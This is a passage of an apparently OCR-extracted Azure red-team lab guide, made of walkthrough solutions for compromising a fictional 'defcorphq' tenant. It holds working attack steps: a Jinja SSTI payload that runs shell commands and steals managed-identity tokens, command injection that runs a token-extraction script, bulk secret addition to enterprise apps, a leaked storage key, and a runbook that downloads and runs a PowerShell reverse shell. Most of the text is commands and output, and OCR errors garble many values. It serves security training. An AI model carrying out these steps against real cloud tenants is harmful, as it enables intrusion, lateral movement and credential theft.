'https://management.azure.com/subscriptions/b413826f-108d-4049-8cll1-
d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMa
chines/bkpadconnect/providers/Microsoft.Authorization/permissions?api-
version=2015-07-01"

PS C:\AzAD\Tools> SRequestParams = @({

>> Method = 'GET'

>> Uri = SURI

>> Headers = @{

>> 'Authorization' = "Bearer S$Token"
>> }

>>

PS C:\AzAD\Tools> (Invoke-RestMethod @RequestParams) .value

actions notActions

{*/read} {}
{Microsoft.Compute/virtualMachines/runCommand/action} {}

Sweet! The Managed ldentity assigned to the defcorphgcareer app has runCommand (command
execution) privileges on a VM called bkpadconnect.
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Learning Objective 11:

Task
e An application in the defcorphq tenant is vulnerable to SSTI. Find the application and
compromise the app service.
o Check if the service principal for the managed identity of the compromised app service has any
interesting permissions on other Azure resources.

Part of - Kill Chain - 2
Topics covered - Authenticated Enumeration and Initial Access

Solution
Recall that we enumerated an appservice called vaultfrontend
(https://vaultfrontend.azurewebsites.net) during enumeration as the test user.

Let's see if this is the said application. Note that we continue keeping the application security part super
simple!

Browse to the 'purchase link' on the web app. In the email address field, input an expression and check if
it is evaluated.

& vaultfrontend.azurewebsites.net,

c

Purchase link has been sent to 49

Provide your Email address.

{rm

‘: Send ‘

Get Back to home page! Go Back

Great! The expression is evaluated.
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The way expression is evaluated means that, most probably, either PHP or Python is used for the web app.
We may need to run some trial and error methods to find out the exact language and template framework.

If we use {{config.items()}} as an expression, we get something interesting:

Purchase link has been sent to dict_items([(&#39;ENV&#39;, &#39;production&#39;), (&#39;DEBUG&#39;, False), (&#39; TESTING&#39;, False), X
(&#39;PROPAGATE_EXCEPTIONS&#39;, None), (&#39;PRESERVE_CONTEXT_ON_EXCEPTION&#39;, None), (&#39;SECRET_KEY&#39;,
&#39;5791628bb0b13ce0c676dfde280ba2458&#39;), (&#39;PERMANENT_SESSION_LIFETIME&#39;, datetime.timedelta(days=31)),
(&#39;USE_X_SENDFILE&#39;, False), (&#39;SERVER_NAME&#39;, None), (&#39;APPLICATION_ROOT&#39;, &#39;/&#39;),
(&#39;SESSION_COOKIE_NAME&#39;, &#39;session&#39;), (&#39;SESSION_COOKIE_DOMAIN&#39;, False),
(&#39;SESSION_COOKIE_PATH&#39;, None), (&#39;SESSION_COOKIE_HTTPONLY&#39;, True), (&#39;SESSION_COOKIE_SECURE&#39;,
False), (&#39;SESSION_COOKIE_SAMESITE&#39;, None), (&#39;SESSION_REFRESH_EACH_REQUEST&#39;, True),
(&#39;MAX_CONTENT_LENGTH&#39;, None), (8#39;SEND_FILE_MAX_AGE_DEFAULT&#39;, datetime timedelta(seconds=43200)),

(&#39; TRAP_BAD_REQUEST_ERRORS&#39;, None), (&#39; TRAP_HTTP_EXCEPTIONS&#39;, False),
(&#39;EXPLAIN_TEMPLATE_LOADING&#39;, False), (&#39;PREFERRED_URL_SCHEME&#39;, &#39;http&#39;), (&#39;JSON_AS_ASCII&#39;,
True), (8#39;JSON_SORT_KEYS&#39;, True), (&#39;JSONIFY_PRETTYPRINT_REGULAR&#39;, False), (&#39;JSONIFY_MIMETYPE&#39;,
&#39;application/json&#39;), (&#39; TEMPLATES_AUTO_RELOAD&#39;, None), (&#39;MAX_COOKIE_SIZE&#39;, 4093),
(&#39;SQLALCHEMY_DATABASE_URI&#39;, &#39;sqlite:///site.db&#39;), (&#39;SQLALCHEMY_BINDS&#39;, None),
(&#39;SQLALCHEMY_NATIVE_UNICODE&#39;, None), (&#39;SQLALCHEMY_ECHO&#39;, False),
(&#39;SQLALCHEMY_RECORD_QUERIES&#39;, None), (&#39;SQLALCHEMY_POOL_SIZE&#39;, None),
(&#39;SQLALCHEMY_POOL_TIMEOUT&#39;, None), (&#39;SQLALCHEMY_POOL_RECYCLE&#39;, None),
(&#39;SQLALCHEMY_MAX_OVERFLOW&#39;, None), (&#39;SQLALCHEMY_COMMIT_ON_TEARDOWN&#39;, False),
(&#39;SQLALCHEMY_TRACK_MODIFICATIONS&#39;, None), (&#39;SQLALCHEMY_ENGINE_OPTIONS&#39;, {})])

By looking up any of the above variables, we can confirm that Flask framework is in use. Flask uses Jinja
as its template engine.

To be able to run a command we can use the ‘os’ module and call the Popen method in it. Use the following
code, that runs the 'whoami' command using Popen:

{{config. class . init . globals ['ocs'].popen('whoami').read()}}

Purchase link has been sent t

Provide your Email address.

{{config.__class__.__init__._ globals__['0s'].popen('whoami').read()}}

l Send |

Get Back to home pagel Go Back
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Sweet! We have root on the container/instance of the app service. Now, let's check the environment —
by using 'env command - to know if any managed identity is assigned to this app service. Recall that we
need to check IDENTITY_HEADER and IDENTITY_ENDPOINT variables:

VIRTUAL_ENV=/tmp18d339b590828b0f/antenv[IDENTITY_ENDPOINT=http:/I169.254.131 .6:8081/msi/token PWD=/tmp/8da39b590828bOf
COMPUTERNAME=IwOmdIwk0000AK APPSVC_RUN_ZIP=FALSE GUNICORN_CMD_ARGS=--timeout 600 --access-logfile 8#39;-&#39; --error-
logfile &#39;-8#39; -c /opt/startup/gunicorn.conf.py —-chdir=/tmp/8da39b590828b0f
PYTHONPATH=:/opt/startup/app_logs:/opt/startup/code_profiler:/tmp/8da39b590828b0f/antenv/lib/python3.8/site-packages LINES=24
SSH_PORT=2222 APPSETTING_ScmType=None ORYX_AI_INSTRUMENTATION_KEY=4aadba6b-30c8-42db-9b93-024d5c62b887
WEBSITE_AUTH_SIGNING_KEY=EBA28F1E0480B7F16F911751DAD1A2EDA1335521DA2966EF89A50BAA648B953A WEBSITE_SKU=Basic

Provide your Email address.

{{config.__class__.__init__._ globals__['os"].popen(‘env').read()}}

‘ Send

Get Back to home page! Go Back

Let's request the access token for the managed identity now using the following code:

{{config. class . init . globals ['os'].popen('curl
"$IDENTITY ENDPOINT?resource=https://management.azure.com&api-
version=2017-09-01" -H secret:$IDENTITY_ﬁEADER').read()}}

Purchase link has been sent to (b&#39;
LGSRV TN (o LR R R VR ey J 0e XAIOiJKV 1 QiL CJhbGeiOiJSUzI 1NilsIng 1dCl6im5PbzNaRHJPRFhFSzFqS 1doWHNs SFJfS 1hFZylsimtpZ C16Im5PE|
AMgCCvZ7{J0j050wiZ6r-pQ9imZg0Vpi2X9lgdriv_AeYVBGJg3zmecSfP_dOPnLVTmNTVIiWcOikaJBssJykqrGA7CQT7z9 V6z7_AAi-
YVJCSHnIvTnYuvid65b3mjWw-dYS4DDigxTDKjE4CaRU92d49zIjDcTUULLULAVIQ97njoRQZIWEgBW_xXsSIMVEsYKgPmRJ1yCaP4p-
qilDxCUns50n36K9-12iaJSOmt_OEd5-zZ161Bv7eHHXQakA9u-
WitsggnyielalpaVy (€Al DMy lelis g DY G | SN AIAV N WAVERIeT NGt o el (@8 #34 ;, &#34;expires_on&#34;:8#34;04/10/2021 05:35:53
+00:008#34;,8#34;resource&#34;:8#34;https://management.azure.com&#34;,&#34;token_type&#34;:&#34;Bearer&#34;,&#34;client_id&#34;:8#34;2e913
a0f2-46ee-8214-fa2ff6aadabc&#34;}&#39;, None)

Use this token with Az PowerShell to find all accessible resources:

PS C:\AzAD\Tools> $token = 'eyJOe..'
PS C:\AzAD\Tools> Connect-AzAccount -AccessToken $token -AccountId 2e9ladfe-
a0f2-46ee-8214-fa2ff6aa%9abc
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Account SubscriptionName TenantId
Environment

2e9ladfe-al0f2-46ee-8214-fa2ffbaa%9abc DefCorp 2d50cb29-5f7b-48a4-
87ce-fe75a941adb6 AzureCloud

PS C:\AzAD\Tools> Get-AzResource

Name : ResearchKeyVault

ResourceGroupName : Research

ResourceType : Microsoft.KeyVault/vaults

Location : germanywestcentral

Resourceld : /subscriptions/b413826£f-108d-4049-8cll-

d52d5d388768/resourceGroups/Research/providers/Microsoft.KeyVault/vaults/Rese

archKeyVault

The managed identity can access a keyvault.
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Learning Objective 12:

Task
e An application in the defcorphq tenant (https://virusscanner.azurewebsites.net) is vulnerable to

insecure file upload and OS command injection. Compromise the app service.

* Check if the service principal for the managed identity of the compromised application has any
interesting permissions on other Azure resources.

Part of - Kill Chain - 3
Topics covered - Authenticated Enumeration and Initial Access

Solution
This time we already have the target web application (https://virusscanner.azurewebsites.net/) and we

know that it is vulnerable to insecure file upload and OS command injection.

The web app tells us - 'Upload Zip file only, please don't upload any personal file your data will be saved
in our tmp directory while we scan you files.'

Very convenient! The 'check your connection' section also looks very interesting. After basic trial and error
techgniues for OS command injection, we can find out that it is possible to inject a new command after
using semicolon ';'

Combining these too, let's upload a ZIP archive and check if we can access it. The ZIP studentx.zip contains
a text file:

Choose a file.
studentx.zip

e

Check your Connection!

Provide URL!

s ftmp;

There is an 'uploads' directory inside the /tmp directory, let's check that:

AlteredSecurity.com Azure Attacks for Red and Blue Teams 56


https://virusscanner.azurewebsites.net/
https://virusscanner.azurewebsites.net/
https://virusscanner.azurewebsites.net/

Check your Connection!

Provide URL!

Is -al /impiuploads:

Submit

Status: total 12

drwxr-xr-x 3 app app 4896 Apr 9 B86:36 .
drwxrwxrwt 1 root root 4896 Apr 9 B86:26 ..
drwxr-xr-x 2 app app 4896 Apr 9 86:26 studentx

And inside that studentx directory, we can find the test.txt!

Check your Connection!

Provide URL!

Is -al tmpluploads/studentx;

Submit

Status: total 12

drwxr-xr-x 2 app app 4896 Apr 9 96:26 .
drwxr-xr-x 3 app app 4896 Apr 9 86:36 ..
-rw-r--r-- 1 app app 4 Apr 8 23:19 test.txt

To abuse this, lets upload a ZIP archive that contains a Python script. After uploading it we will run it by
abusing the OS command injection. You can use studentx.py from the Tools directory that extract tokens
from the app service managed identity:

Check your Connection!

Provide URL!

; python /tmp//uploads/studentx/studentx.py;

Status: [+] Management API
Access Token: eyJ)@eXAiOilKV1QiLCIhbGei0iJSUzIINiIsIngldCIEIm5PbzNaRHIPRFhFSzFqS1doWHNsSFIfS1hFy
ClientID: 62e44426-5c46-4e3c-8a89-f461d5d586F2

[+] Graph API
2yJ0eXAi0iIKV1QiLCIub25iZSI6IkXOTGINMT 10T TABbGMZ YKL YUdVM3 1GSHotZW1Y TkdmWVV3VzdOTk Jo0MciLCIhbGd
ClientID: 62e44426-5c46-4e3c-8a89-fa61d5d586F2
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Now, as usual, we can use both the tokens and Client ID with Az PowerShell and check the resources
accessible to the managed identity:

PS C:\AzAD\Tools> $token = 'eyJOeX..'

PS C:\AzAD\Tools> $graphaccesstoken = 'eyJOeX..'

PS C:\AzAD\Tools> Connect-AzAccount -AccessToken $token -
MicrosoftGraphAccessToken $graphaccesstoken -AccountId 62e44426-5c46-4e3c-
8a89-£f461d5d586£f2

Account SubscriptionName TenantId
Environment
62e44426-5c46-4e3c-8a89-f461d5d586£2 2d50cb29-5f7b-48a4-

87ce-fe75a941ladb6 AzureCloud

Now, list resources that we have access to:

PS C:\AzAD\Tools> Get-AzResource

Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1

+ Get-AzResource

+ CategoryInfo : CloseError: (:) [Get-AzResource],
ValidationException

+ FullyQualifiedErrorId
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResou
rceCmdlet

The above error means that the managed identity has no rights on any of the Azure resources.

Let's use the Graph API token with the REST API to list all Enterprise Applications in the defcorphq tenant:

$Token 'eyJOexX..'
$URI " https://graph.microsoft.com/v1.0/applications’

$RequestParams @{
Method '"GET'
uri $URI
Headers @{
'Authorization’ "Bearer $Token"
}

}

(Invoke-RestMethod @RequestParams).value

PS C:\AzAD\Tools> $Token = 'eyJO0eXA..'
PS C:\AzAD\Tools> SURI = 'https://graph.microsoft.com/v1l.0/applications’
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PS C:\AzAD\Tools> S$RequestParams = @({

>> Method = 'GET'

>> Uri = SURI

>> Headers = @{

>> 'Authorization' = "Bearer S$Token"
>> }

>> )

PS C:\AzAD\Tools> (Invoke-RestMethod @RequestParams) .value

id : 2830a3fe-846b-4008-b8e5-bbe6255488a8
deletedDateTime 3

appId : 5e37821b-01el-44cd-a%9e2-10449b77ba90
[snip]

Now, in my testing, the easiest way to check if we can abuse any of the Enterprise Applications (service
principals) that we have listed above is to check if we can add credentials to any. This will allow us to
abuse permissions assigned to the service principal.

Theoritically, we should be able to list roles assigned to the enterprise applications by calling the APl —

"https://graph.microsoft.com/v1.0/servicePrincipals/{ID}/appRoleAssignments’'

But | always got a errors when using it!

So, you can use the Add-AzADAppSecret.psl from the Tools directory. It tries to add a secret (application
password) to all the enterprise applications and shows the successful ones:

PS C:\AzAD\Tools> . C:\AzAD\Tools\Add-AzADAppSecret.psl

PS C:\AzAD\Tools> Add-AzADAppSecret -GraphToken $graphtoken -Verbose
VERBOSE: GET https://graph.microsoft.com/vl1.0/applications with O-byte
payload

VERBOSE: received -1-byte response of content type
application/json;odata.metadata=minimal;odata.streaming=true; IEEE754Compatibl
e=false;charset=utf-8

VERBOSE: POST https://graph.microsoft.com/vl.0/applications/2830a3fe-846b-
4008-b8e5-bbe6255488a8/addPassword with -1-byte payload

Failed to add new client secret to

'HybridAutomation eTved4mVkzZbCYI/PJWIMVALi7iFrQQOmeévkOxon2mypE="' Application.
[snip]

Client secret added to

Object ID : 35589758-714e-43a9-bef%e-94d22fdd34£f6

App ID : £072c4a6-b440-40de-983£f-a7£3bd317d8f
App Name : fileapp

Key ID : 57499704-£d1£f-4d10-93£5-8£42£0de3148
Secret : _1ATfh--GD.WBhRuP.H3p iR~MX2W1OA6S
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So, the managed identity of the virusscanner app has permissions to add secrets to the enterprise
application fileapp!
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Learning Objective 13:

Task
e Find out insecure storage blobs in the defcorphq tenant.

e Look for interesting information or secrets in the blob that allow you to access another storage

account.
e Extract secrets from the second storage account.

Part of - Kill Chain - 4
Topics covered - Initial Access and Data Mining

Solution
We will use MicroBurt for enumerating storage accounts in the defcorphg tenant.

We need to add permutations like common, backup, code
C:\AzAD\Tools\Microburst\Misc\permutations.txt to tune it for defcorphg.

PS C:\AzAD\Tools> . C:\AzAD\Tools\MicroBurst\Misc\Invoke-
EnumerateAzureBlobs.psl
PS C:\AzAD\Tools> Invoke-EnumerateAzureBlobs -Base defcorp

Found Storage Account - defcorpcommon.blob.core.windows.net
Found Storage Account - defcorpcodebackup.blob.core.windows.net
[snip]

Found Container - defcorpcommon.blob.core.windows.net/backup
Empty Public Container Available:

https://defcorpcommon.blob.core.windows.net/backup?restype=container&comp=1lis

t
[snip]

Let's access the container found above:

(< & defcorpcommon.blob.core.windows.net/backup?

This XML file does not appear to have any style information associated with it. The document tree is shown below.

<EnumerationResults ServiceEndpoint="https://defcorpcommon.blob.core.windows.net/" ContainerMame="backup">
<Blobs>
<Blaob>
<Name>blob_client.py</Name>
<Properties>
<Last-Modified>Tue, 16 Mar 2021 @4:51:33 GMT</Last-Modified>
<Etag>@xBDBEB372C721945¢/Etag>
<Content-Length>2041</Content-Length>
<Content-Type>text/x-python</Content -Type>
<Content-Encoding/>
<Content-Language/>
<Content-MD5>kI57IINDh2KVGubsuSTr3w==</Content-MD5 >
<Cache-Control/>
<Content-Disposition/>
<BlobType>BlockBlob</BlobType>
<LeaseStatus>unlocked</LeaseStatus>
<LeaseStateravailable</LeaseState>
</Properties>
</Blob>
</Blobs>
<NextMarker/>
</EnumerationResults>
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Notice the name of the blob in the above output. Access it by adding it to the URL. It would be
https://defcorpcommon.blob.core.windows.net/backup/blob_client.py

@& defcorpcommon.blob.core.windows.net;

from datetime import datetime, timedelta
from azure.storage.blob import generate_container_sas, ContainerSasPermissions

account_name = "defcorpcommon"
account_key = "SoJShFmpRiWjkIa985+1lejwcGRSvYnIeEROpP7eC8TO="
container_name = "backup"

# using generate_container_sas
def get_img_url_with_container_sas_token(blob_name):
container_sas_token = generate_container_sas(

account_name=account_name,
container_name=container_name,
account_key=account_key,
permission=ContainerSasPermissions(read=True),
expiry=datetime.utcnow() + timedelta(hours=1)

)
# URL: https://defcorpcodebackup.blob.core.windows.net/client?sp=rl&st=2022-05-25T03:29:07285e=2023-09-29T11:25:07Z&sv=2021-

c&sig=P7%2BzYX@vhde2VngEYUON7fgUC9S1hhIwu5FoGcl3uz@%3D

=

|98&sr=

If you get a blank page when accessing the above URL, presee Ctrl+F5 in the borwser!
Sweet, we got a SAS URL. Now use this with the Storage Explorer on your student VM.

Open storage explorer and click on 'Open Connect Dialog' in the left menu. Select 'Blob container'. On
'Select Authentication Method' page, select 'Shared access signature (SAS)' and click on Next:

=« Connect to Azure Storage

Select Authentication Method

Select Authentication Method Summary

Enter Connection Info

How will you authenticate requests to the blob container?

Sign in using Azure Active Directory (Azure AD)
|Z| Shared access signature (SAS)

Ananymaously (my blob container allows public access)

Copy the URL in 'Blob container SAS URL' field. The display name will be populated automatically. Cli

on Next and then Connect:

M client x
_ . Y
R e = | X . T O
Upload Downioad Open  New Folder Select Al Copy Clone Delete Manage History | Folder Statistics | Refresh
& = ~ I Active blobs (default) v client
Name ~ | Access Tier Access Tier Last Modified Last Modified Blob Type Content Type Size Status
[ appzip 1KE Active
B authenticator.txt 0B
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Download the app.zip (Right Click -> Download) and extract it. We will get some secrets that we can use
later!

{ » ThisPC » Local Disk{C:) » AzAD > Tools » app

Name Type Compressed size Password p.. Size Ratio
Dockerfile File TKB No 1KB
A run Python File TKB No 1KB
s
A run_old Python File 1KB No 1KB 41%

The other file in the above container — authenticator.txt — seems to to be a backup of a GitHub's Time-
based OTP (TOTP) app for laurenazad! We will use this when required!
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Learning Objective 14:

Task
e Use access token for a user from the reverse shell that we have on defeng-consent to find
another user or group that has interesting permissions on an automation account in the
defcorphq tenant.
e Abuse the permissions on the automation account to execute a cloud to on-prem lateral
movement and get command execution on a hybrid worker.

Part of - Kill Chain - 1
Topics covered - Authenticated Enumeration, Privilege Escalation and Cloud to On-Prem Lateral
Movement

Solution
Get back the reverse shell on admin-consent by phishing Mark!

Run the below command to check if there is a user logged-in to az cli on that machine:

PS C:\Windows\system32> whoami
defeng-consent\administrator
PS C:\Windows\system32> az ad signed-in-user show

[snip]
"usageLocation": "US",
"userIdentities": [],
"userPrincipalName": "MarkDWalden@defcorphq.onmicrosoft.com",
"userState": null,
"userStateChangedOn": null,
"userType": "Member"

No surprise that the user Mark is using az cli from their workstation.
The tasks tells us to find another user or group that has interesting permissions on an automation account.

We could use 'az automation account list'to getinformation on automation accounts. Please
note that it needs automation extension and we may needtorun'az extension add --upgrade -

n automation'first

PS C:\Windows\system32> az extension add --upgrade -n automation
PS C:\Windows\system32> az : WARNING: The installed extension 'automation' is
experimental and not covered by customer support. Please use with discretion.
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Now, 'az automation account list'does notreturnanything.

Let's check for objects owned by Mark. Run the below command on the reverse shell:

PS C:\Windows\system32> az ad signed-in-user list-owned-objects

"deletionTimestamp": null,

"description": "Members can create and run runbooks",

"dirSyncEnabled": null,

"displayName": "Automation Admins",

"lastDirSyncTime": null,

"mail": null,

"mailEnabled": false,

"mailNickname": "fe6a8b21-4",

"objectId": "e6870783-1378-4078-b242-84c08c6dc0d7",

"objectType": "Group" "userStateChangedOn": null,
[snip]

Sweet! Mark owns a group called Automation Admins. Even if Mark was not the Owner, we would know
that this group is interesting, just by looking at its name!

To be able to interact with Entra ID, request a token for the Grpah APIl. We can use that token with the
MS Graph module. Run the below command on the reverse shell:

C:\Windows\system32> az account get-access-token --resource-type ms-graph
{

"accessToken": "eyJO0..",

"expiresOn": "2021-04-12 08:27:33.804198",

"subscription": "b413826£-108d-4049-8c11-d52d5d388768",

"tenant": "2d50cb29-5f7b-48a4-87ce-fe75a941adb6",

"tokenType": "Bearer"

Use the token on the student VM. Run the following command on the student VM:

PS C:\AzAD\Tools> $Token = “eyJO0..”

PS C:\AzAD\Tools> Connect-MgGraph -AccessToken ($Token | ConvertTo-
SecureString -AsPlainText -Force)

Welcome to Microsoft Graph!

Connected via userprovidedaccesstoken access using 1950a258-227b-4e31-a9cf-
717495945fc2

Readme: https://aka.ms/graph/sdk/powershell

SDK Docs: https://aka.ms/graph/sdk/powershell/docs

API Docs: https://aka.ms/graph/docs
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NOTE: You can use the -NoWelcome parameter to suppress this message.

Now, let's add Mark as a member of the group. Please note that if you see Mark as member of the group
already, that simply means | or a fellow student did that. Please bear with that for the sake of the lab ;)

In the below command —Groupld is for the group object id.

PS C:\AzAD\Tools> $params = @{

>> "Qodata.id" =
"https://graph.microsoft.com/vl1.0/directoryObjects/£66el33c-bd01-4b0b-b3b7-
7cd949£d45£3"

>> '}

PS C:\AzAD\Tools> New-MgGroupMemberByRef -GroupId e6870783-1378-4078-b242-
84c08c6dc0d7 -BodyParameter $params

Below is the error you will get if Mark is already a member. Please ignore this!

PS C:\AzAD\Tools> $params = @{
>> "Qodata.id" =
"https://graph.microsoft.com/vl.0/directoryObjects/£66el133c-bd01-4b0b-b3b7-
7cd949£d45£3"
>> }
PS C:\AzAD\Tools> New-MgGroupMemberByRef -GroupId e€6870783-1378-4078-b242-
84c08c6dc0d7 -BodyParameter $params
New-MgGroupMemberByRef : One or more added object references already exist
for the following modified properties: 'members'.
Status: 400 (BadRequest)

[snip]

Now, we can use az cli to check for automation accounts. Run the below command on the reverse shell:

PS C:\Windows\system32> az automation account list

[

"creationTime": "2021-03-17T14:40:05.340000+00:00",

"description": null,

"etag": null,

"id": "/subscriptions/b413826£f-108d-4049-8cll-
d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Automation/automa
tionAccounts/HybridAutomation",

"lastModifiedBy": null,

"lastModifiedTime": "2021-04-04T03:50:44.573333+00:00",

"location": "switzerlandnorth",

"name": "HybridAutomation",

"resourceGroup": "Engineering",

"sku": null,

"state": null,

"tags": {1},
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"type": "Microsoft.Automation/AutomationAccounts”

Now, we should be able to list roles assigned to Mark using 'az role assignment list --assignee
MarkDWalden@defcorphqg.onmicrosoft.com' onthe reverse shell but it does not return an output.

Therefore, we request an access token for ARM and use the one for aad-graph that we requested earlier
and use both with Az PowerShell.

Run the below command on the reverse shell to request an access token for ARM:

PS C:\Windows\system32> az account get-access-token

{

"accessToken": "eyJd0.."
[snip]

To request an access token for add-graph:

PS C:\Windows\system32> az account get-access-token --resource-type aad-graph

{

"accessToken": "eyJ0.."
[snip]

Use the below command for using both the tokens with Az PowerShell:

PS C:\AzAD\Tools> $AADToken = 'eydJO..'

PS C:\AzAD\Tools> $AccessToken = 'eyJo..'

PS C:\AzAD\Tools> Connect-AzAccount -AccessToken $AccessToken -
GraphAccessToken $AADToken -AccountId £66el33c-bd01-4b0b-b3b7-7cd949£fd45£3

Account SubscriptionName TenantId
Environment
£66e133c-bd01-4b0b-b3b7-7cd949fd45f3 DefCorp 2d50cb29-5f7b-48a4-

87ce-fe75a941ladb6 AzureCloud

Run the below command to get the role for Mark (added to the Aumtation Accounts group) on the
automation account:

PS C:\AzAD\Tools> Get-AzRoleAssignment -Scope /subscriptions/b413826£-108d-
4049-8cll-
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d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Automation/automa
tionAccounts/HybridAutomation

RoleAssignmentId : /subscriptions/b413826f-108d-4049-8cll-
d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Automation/automa
tionAccounts/HybridA
utomation/providers/Microsoft.Authorization/roleAssignments/c981e312-78da-
4698-9702-e7424fae94f£8

Scope : /subscriptions/b413826f-108d-4049-8cll-
d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Automation/automa
tionAccounts/HybridAutomation

DisplayName : Automation Admins

SignInName :

RoleDefinitionName : Contributor

RoleDefinitionId : b24988ac-6180-42a0-ab88-20£7382dd24c
ObjectId : e6870783-1378-4078-b242-84c08c6dc0d7
ObjectType : Group

CanDelegate : False

[snip]

Sweet! The above output means Mark has Contributor role on the automation account. We can create
and execute Runbooks!

Use the below command to check if a hybrid worker group is in use by the automation account:

PS C:\AzAD\Tools> Get-AzAutomationHybridWorkerGroup -AutomationAccountName
HybridAutomation -ResourceGroupName Engineering

ResourceGroupName : Engineering
AutomationAccountName : HybridAutomation

Name : Workergroupl

RunbookWorker : {defeng-adcsrv.defeng.corp}
GroupType : User

Great! We have a hybrid runbookworker. This will allow us to execute commands/scripts on the on-prem
infrastructure!

Import C:\AzAD\Tools\studentx.ps1 as a PowerShell runbook. This script downloads the Invoke-
PowerShellTCP.ps1 reverse shell from your student VM and runs on the hybrid worker. Below are the
contents of studentx.psl. Make sure to modify it to match the IP address of your student VM

iex (New-Object Net.Webclient) .downloadstring ("http://172.16.x.%x:82/Invoke-
PowerShellTcp.psl")
Power -Reverse -IPAddress 172.16.x.x —-Port 4444
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Host the Invoke-PowerShellTCP.ps1 by copying it to the C:\xampp\htdocs and starting Apache using
xampp.

Run the below command in the PowerShell session where you connected using the access token for Mark.
It may take couple of minutes.:

PS C:\AzAD\Tools> Import-AzAutomationRunbook -Name studentx -Path
C:\AzAD\Tools\studentx.psl -AutomationAccountName HybridAutomation -
ResourceGroupName Engineering -Type PowerShell -Force -Verbose
VERBOSE: Performing the operation "Import" on target "studentx".

Location : switzerlandnorth

Tags g {}¥

JobCount : 0

RunbookType : PowerShell

Parameters : {}

LogVerbose : False

LogProgress : False

LastModifiedBy :

State : New

ResourceGroupName : Engineering
AutomationAccountName : HybridAutomation

Name : studentx

CreationTime : 4/12/2021 11:41:22 PM -07:00
LastModifiedTime : 4/12/2021 11:41:22 PM -07:00
Description

Publish the runbook so that we can use it:

PS C:\AzAD\Tools> Publish-AzAutomationRunbook -RunbookName studentx -
AutomationAccountName HybridAutomation -ResourceGroupName Engineering -
Verbose

[snip]

State : Published

ResourceGroupName : Engineering
AutomationAccountName : HybridAutomation

Name : studentx

CreationTime : 4/12/2021 11:41:22 PM -07:00
LastModifiedTime : 4/13/2021 12:05:11 AM -07:00
Description

Start a netcat listener on your student VM. Remember to listen on the port that you specified in the
runbook studentx:

PS C:\AzAD\Tools> C:\AzAD\Tools\netcat-win32-1.12\nc.exe -lvp 4444
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listening on [any] 4444

Finally, start the runbook:

PS C:\AzAD\Tools> Start-AzAutomationRunbook -RunbookName studentx -RunOn
Workergroupl -AutomationAccountName HybridAutomation -ResourceGroupName
Engineering -Verbose

ResourceGroupName : Engineering
AutomationAccountName : HybridAutomation

JobId : 7184cf48-29a8-430£f-827b-87fc4fedf77e
CreationTime : 4/13/2021 12:50:58 AM -07:00
Status : New

StatusDetails : None

StartTime

EndTime

Exception :

LastModifiedTime : 4/13/2021 12:50:58 AM -07:00
LastStatusModifiedTime : 4/13/2021 12:50:58 AM -07:00
JobParameters : {}

RunbookName : studentx

HybridWorker : Workergroupl

StartedBy

On the listener, you should see a connect back and we can execute commands!

connect to [172.16.150.1] from (UNKNOWN) [172.16.1.20] 58821: NO DATA

Windows PowerShell running as user DEFENG-ADCSRV$ on DEFENG-ADCSRV
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\ProgramData\Microsoft\System
Center\Orchestrator\7.2\SMA\Sandboxes\fdgeenj3.kgl\Temp\czbjn2jo.ncu> whoami
nt authority\system

PS C:\ProgramData\Microsoft\System
Center\Orchestrator\7.2\SMA\Sandboxes\fdgeenj3.kgl\Temp\czbjn2jo.ncu>
hostname

defeng-adcsrv
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Learning Objective 15:

Task
* Abuse the permissions that Managed Identity of the 'defcorphqcareer' App Service to get
command execution on an Azure VM.

* Extract credentials from the target VM.

Part of - Kill Chain - 1
Topics covered - Authenticated Enumeration and Privilege Escalation

Solution
We already know that the managed identity of the defcorphqcareer app service has ability to execute
commands on the bkpadconnect VM.

Upload the C:\AzAD\Tools\studentxtoken.phtml to get a new access token for the managed identity.

A Not secure | defcorphqcareer.azurewebsites.net

Run the below command to use Az PowerShell as the managed identity:

PS C:\AzAD\Tools> $AccessToken = 'eyJo..'
PS C:\AzAD\Tools> Connect-AzAccount -AccessToken $AccessToken -AccountId
064aaf57-30af-41£f0-840a-0e21ed149946

Account SubscriptionName TenantId
Environment
064aaf57-30af-41£f0-840a-0e21ed149946 DefCorp 2d50cb29-5f7b-48a4-

87ce-fe75a941ladb6 AzureCloud

Get some more information about the bkpadconnect VM. Let's check if there is a public IP address
attached to the VM. Run the below command to get information about the NetworkProfile of the VM:

PS C:\AzAD\Tools> Get-AzVM -Name bkpadconnect -ResourceGroupName Engineering
| select -ExpandProperty NetworkProfile

NetworkInterfaces
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{/subscriptions/b413826f-108d-4049-8cll-
d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Network/networkIn
terfaces/bkpadconnect368}

Get more details about the network interface attached to the VM using the below command:

PS C:\AzAD\Tools> Get-AzNetworkInterface -Name bkpadconnect368

Name : bkpadconnect368

ResourceGroupName : Engineering

Location : germanywestcentral

Id : /subscriptions/b413826f-108d-4049-8cll-

d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Network/networkIn
terfaces/bk

padconnect368
Etag : W/"bd2fc859-eae9-48f9-8e70-adbl8dab5a0b"
ResourceGuid : 41201518-049a-406f-al%9a-cl6eddc573£f5
ProvisioningState : Succeeded
Tags
VirtualMachine HE

"Id": "/subscriptions/b413826f-108d-4049-

8cll-

d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMa
chines/bkpadconnect"

[snip]

"PublicIpAddress": {

"IpTags": [],

"Zones": [],

"Id": "/subscriptions/b413826f-108d-4049-
8cll-
d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Network/publicIPA
ddresses/bkpadconnectIP"

[snip]

Get the public IP address attached to the VM:

PS C:\AzAD\Tools> Get-AzPublicIpAddress -Name bkpadconnectIP

Name : bkpadconnectIP

ResourceGroupName : Engineering

Location : germanywestcentral

Id : /subscriptions/b413826f-108d-4049-8cll1-

d52d5d388768/resourceGroups/Eng1neer1ng/prov1ders/Mlcrosoft Network/publicIPA
ddresses/bkpadconnectIP

Etag : W/"250836ec-0e99-438f-a34e-678544de7278"
ResourceGuid : a6e23b55-d8bl-4e0e-9fda-d9%ed47c59b40
ProvisioningState : Succeeded

Tags
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PublicIpAllocationMethod : Dynamic

